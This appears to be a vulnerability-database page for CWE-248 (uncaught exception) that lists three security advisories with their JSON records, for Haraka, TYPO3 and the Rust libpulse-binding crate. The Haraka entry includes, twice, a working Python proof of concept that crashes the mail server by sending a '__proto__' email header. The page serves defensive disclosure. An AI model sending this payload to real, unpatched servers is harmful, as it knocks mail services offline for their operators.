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Common Weakness Enumeration

CWE-248

Allowed

Uncaught Exception

Abstraction: Base · Status: Draft

API response cwe.mitre.org

An exception is thrown from a function, but it is not caught.

523 vulnerabilities reference this CWE, most recent first.

GHSA-XPH3-R2JF-4VP3

Vulnerability from github – Published: 2026-04-01 22:56 – Updated: 2026-04-06 17:32
VLAI
Summary
Haraka affected by DoS via `__proto__` email header
Details

Summary

Sending an email with __proto__: as a header name crashes the Haraka worker process.

Details

The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:

_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}

When key is __proto__: 1. this.headers['__proto__'] returns Object.prototype (the prototype getter) 2. Object.prototype is not null/undefined, so ??= is skipped 3. Object.prototype.push(value) throws TypeError: not a function

The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):

process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})

PoC

import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")

Impact

In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "Haraka"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:56:09Z",
    "nvd_published_at": "2026-04-02T19:21:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers[\u0027__proto__\u0027]` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on(\u0027uncaughtException\u0027, (err) =\u003e {\n    if (err.stack) {\n        err.stack.split(\u0027\\n\u0027).forEach((line) =\u003e logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:\u003cx@x.com\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:\u003cuser@haraka.local\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
  "id": "GHSA-xph3-r2jf-4vp3",
  "modified": "2026-04-06T17:32:41Z",
  "published": "2026-04-01T22:56:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haraka/Haraka"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haraka/Haraka/releases/tag/v3.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Haraka affected by DoS via `__proto__` email header"
}

GHSA-XRCQ-533Q-8RXW

Vulnerability from github – Published: 2025-09-09 09:31 – Updated: 2025-09-09 20:10
VLAI
Summary
TYPO3 Bookmark Toolbar vulnerable to denial of service
Details

An uncaught exception in the Bookmark Toolbar of TYPO3 CMS versions 11.0.0–11.5.47, 12.0.0–12.4.36, and 13.0.0–13.4.17 lets administrator‑level backend users trigger a denial‑of‑service condition in the backend user interface by saving manipulated data in the bookmark toolbar.

Severity
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 11.5.48"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "12.4.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T20:10:26Z",
    "nvd_published_at": "2025-09-09T09:15:39Z",
    "severity": "MODERATE"
  },
  "details": "An uncaught exception in the Bookmark Toolbar of TYPO3 CMS versions 11.0.0\u201311.5.47, 12.0.0\u201312.4.36, and 13.0.0\u201313.4.17 lets administrator\u2011level backend users trigger a denial\u2011of\u2011service condition in the backend user interface by saving manipulated data in the bookmark toolbar.",
  "id": "GHSA-xrcq-533q-8rxw",
  "modified": "2025-09-09T20:10:26Z",
  "published": "2025-09-09T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59014"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/backend/commit/04db7e25de1d3bb2d082ba68f7f974ccd917cc3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/backend"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2025-018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "TYPO3 Bookmark Toolbar vulnerable to denial of service"
}

GHSA-XVCG-2Q82-R87J

Vulnerability from github – Published: 2022-01-06 22:18 – Updated: 2026-01-23 22:33
VLAI
Summary
Panic mishandled in libpulse-binding
Details

An issue was discovered in the libpulse-binding crate before 2.6.0 for Rust. It mishandles a panic that crosses a Foreign Function Interface (FFI) boundary.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "libpulse-binding"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-25055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-06T18:18:40Z",
    "nvd_published_at": "2021-12-27T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in the libpulse-binding crate before 2.6.0 for Rust. It mishandles a panic that crosses a Foreign Function Interface (FFI) boundary.",
  "id": "GHSA-xvcg-2q82-r87j",
  "modified": "2026-01-23T22:33:12Z",
  "published": "2022-01-06T22:18:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jnqnfe/pulse-binding-rust/commit/7fd282aef7787577c385aed88cb25d004b85f494"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jnqnfe/pulse-binding-rust"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/libpulse-binding/RUSTSEC-2019-0038.md"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2019-0038.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Panic mishandled in libpulse-binding"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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